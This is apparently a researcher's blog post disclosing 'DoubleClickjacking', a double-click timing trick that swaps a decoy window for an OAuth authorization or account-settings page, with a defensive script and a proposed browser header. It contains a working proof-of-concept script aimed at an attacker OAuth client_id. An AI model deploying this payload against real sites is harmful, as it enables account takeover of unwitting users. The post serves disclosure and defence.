DoubleClickjacking: A New Era of UI Redressing

5:44 PM

“Clickjacking” attacks have been around for over a decade, enabling malicious websites to trick users into clicking hidden or disguised buttons they never intended to click . This technique is becoming less practical as modern browsers set all cookies to “SameSite: Lax” by default. Even if an attacker site can frame another website, the framed site would be unauthenticated, because cross-site cookies are not sent. This significantly reduces the risk of successful clickjacking attacks, as most interesting functionality on websites typically requires authentication.

DoubleClickjacking is a new variation on this classic theme: instead of relying on a single click, it takes advantage of a double-click sequence. While it might sound like a small change, it opens the door to new UI manipulation attacks that bypass all known clickjacking protections, including the X-Frame-Options header or a SameSite: Lax/Strict cookie. This technique seemingly affects almost every website, leading to account takeovers on many major platforms.


Root Cause
DoubleClickjacking exploits a timing and event-order quirk:

  1. The attacker creates an initial webpage with a button that opens a new window (or just opens a new window without user interaction).
  2. When the user clicks this button:
    • A new window opens on top, asking the user to “double-click.”
    • This new window immediately uses window.opener.location to change the parent window’s location to the target page.
    • The parent window now contains the target page (e.g., OAuth authorization), while the top window still shows the double-click prompt.
  3. When the user attempts the requested double-click:
    • The first click (triggered on mousedown) causes the top window to close.
    • The second click lands on the now-exposed authorization button in the parent window.
    • The user unknowingly authorizes the attacker’s application into their account with arbitrary scope.

In simpler terms, DoubleClickjacking leverages the small gap between the start of a click and the end of the second click in multiple windows without utilizing any popunder tricks. It is a sleight of hand type trick. Attackers load (or open) a new window for a legitimate seeming reason—like a “captcha verification,” for example. Then, just before the second click is pressed, the malicious site can quickly swap in a more sensitive window from the same browser session (e.g., an OAuth authorization prompt), effectively hijacking that second click. There are many ways to perform the “swap,” the most reliable and smooth method I found uses window.open.location.

One of the important pieces of this attack is exploiting the timing difference between mousedown and onclick events (favoring mousedown over click). The mousedown event fires immediately when the user presses the mouse button, while the click event waits for the complete click action so there is a few ms of delay we can siphon for the attack.  One of the surprising things about doing it this way is it does not matter how slow or how fast the target double-clicks. favoring mousedown event handler allows exploiting this even for the fastest or slowest double clickers.


    How It Can Be Exploited

    • OAuth & API Permissions: Attackers could trick targets into authorizing a malicious application with extensive privileges. This technique has unfortunately led to account takeovers in almost every site that supports OAuth - which is pretty much all major websites with an API support.  And even if by some miracle it is detected and the user tries to revoke the a malicious attacker app, it would already be too late since it could perform its malicious actions the instant it is authorized.

    • One-Click Account Changes: Similar to classic clickjacking, DoubleClickjacking can be used to make the user click on account-setting changes, such as disabling security settings, deleting an account, authorizing access or money transfers, or confirming transactions, etc.


    Proof of Concept (PoC) Code

    Below is a code snippet that can be used to create a PoC for this vulnerability class:

    <script> function openDoubleWindow(url, top, left, width, height) { var evilWindow = window.open(window.location.protocol+"//"+ window.location.hostname+":"+ window.location.port+"/random", "_blank"); evilWindow.onload = function() { evilWindow.document.open(); //plugs the page to be hijacked as opener returnee evilWindow.document.write(` <script> setTimeout(function() { opener.location = "${url}"; }, 1000); </scri`+`pt> <div id="doubleclick" type="button" class="button" style="top: ${top}px; left: ${left}px; width: ${width}px; height: ${height}px; position: absolute; font-size: 16px; color: white; background-color: #3498db; box-shadow: 5px 5px 10px rgba(0, 0, 0, 0.3); display: flex; justify-content: center; align-items: center; font-weight: bold; text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.3); cursor: pointer; border-radius: 20px; text-align: center; padding: 0 5px; transition: all 0.3s ease;" onmouseover="this.style.backgroundColor='#2980b9'; this.style.boxShadow='6px 6px 12px rgba(0, 0, 0, 0.4)'; this.style.transform='scale(1.05)';" onmouseout="this.style.backgroundColor='#3498db'; this.style.boxShadow='5px 5px 10px rgba(0, 0, 0, 0.3)'; this.style.transform='scale(1)';">Double Click Here</div> <script> document.getElementById('doubleclick').addEventListener('mousedown', function() { window.close(); }); </scr`+`ipt>`); evilWindow.document.close(); }; } </script> <!-- Replace value's below with the URL and top, left, width, height of a button you want to doublejack with --> <button onclick="openDoubleWindow('https://target.com/oauth2/authorize?client_id=attacker',647, 588.5, 260, 43)">Start Demo</button>

    Replace the values for url, top, left, width, and height with the specific button location you want to doublejack.

    How it Looks

    Example: Salesforce Account Takeover


    Example: Slack Account Takeover


    Example: Shopify Account Takeover 



    Why It’s Dangerous

    • Bypass of Clickjacking Protections: Most webapps and frameworks assume that only a single forced click is a risk. DoubleClickjacking adds a layer many defenses were never designed to handle. methods like X-Frame-Options, SameSite cookies, or CSP cannot defend against this attack.
    • Not Just Websites: This technique can be used to attack not only websites but browser extensions as well. For example, I have made proof of concepts to top browser crypto wallets that uses this technique to authorize web3 transactions & dApps or disabling VPN to expose IP etc. This can also be done in mobile phones by asking target to "DoubleTap".
    • New Attack Surface: This creates new attack opportunities for web attacks. A double-click on an attacker’s website can now lead to serious consequences in multiple platforms.
    • Extremely Rampant: Based on my tests, all websites by default (those that didn't fix this yet) are vulnerable to this many surprising impacts including oauth takeovers etc. I've reported this issue to some sites, the results have been mixed. Most have chosen to address it  while some have chosen not to.
    • Minimal User Interaction: It only requires the target to double-click. They don’t need to fill out forms or perform crazy multiple steps (if the site can open windows or launched from site that can).

    P.S: Note that windows can be opened on top of the whole browser (instead of as a tab), hiding the fact that the opener has changed location (and all tabs)

    Mitigation Ideas

    1. Client-Side Protection
      The following JavaScript based approach can eliminate the risk of DoubleClickjacking by disabling critical buttons by default unless a gesture is detected (e.g., moving the mouse or using the keyboard). it is simple and very effective:

      (function(){
          if (window.matchMedia && window.matchMedia("(hover: hover)").matches) {
              var buttons = document.querySelectorAll('form button, form input[type="submit"]');
              buttons.forEach(button => button.disabled = true);
              
              function enableButtons() {
                  buttons.forEach(button => button.disabled = false);
              }
              
              document.addEventListener("mousemove", enableButtons);
              document.addEventListener("keydown", e => {
                  if(e.key === "Tab") enableButtons();
              });
          }
      })();
    Using it is super simple. just <script src=doubleclickjackingprotection.js></script> on your sensitive pages and you are done.

    How it works
      • All submit/buttons on a page are initially disabled.
      • A user must demonstrate real, intentional interaction—through a gesture (mouse movements or keyboard interaction like pressing Tab—before these buttons become activated.
      • This thwarts attacks that rely on purely simulated or tricked interactions, since the user’s second click can no longer automatically fire on a hidden action.
      • It has no noticeable impact on user experience. From the user’s perspective, everything should work as intended without any changes. An examples of popular sites that uses a similar script to mitigate the vulnerability class are DropBox, Stripe and GitHub. This is how the attack looks on their websites. 

         
    1. Long-Term Browser Solutions
      In the long run, browsers should adopt new standards to defend against double-click exploitation—similar to how X-Frame-Options or frame-ancestors protect against classic iframe-based clickjacking. When clickjacking was first discovered in 2008, the initial mitigation was also JavaScript until browsers provided a simpler method to mitigate the vulnerability class. One example approach could be a special HTTP header, for instance:

      Double-Click-Protection: strict

      This hypothetical header could tell the browser to limit or block rapid context-switching between windows during a double-click sequence, reducing the risk of the UI being changed mid-click. Another similar idea would be to expand CSP headers to cover such scenarios.

      Best Practices for Developers
      • Implement the Protective Library on Sensitive Pages
        Any page handling OAuth scope verification, payment confirmations, or other high-privilege actions should include the defensive script until browsers provide solutions.

    Conclusion
    DoubleClickjacking is a sleight of hand around on a well-known attack class. By exploiting the event timing between clicks, attackers can seamlessly swap out benign UI elements for sensitive ones in the blink of an eye.  Developers and security teams should:

    • Be vigilant about all forms of clickjacking—even multi-click patterns.
    • Tighten their control over embedded or opener-based windows.

    Until next time, good luck!

    You Might Also Like

    0 comments

    Note: Only a member of this blog may post a comment.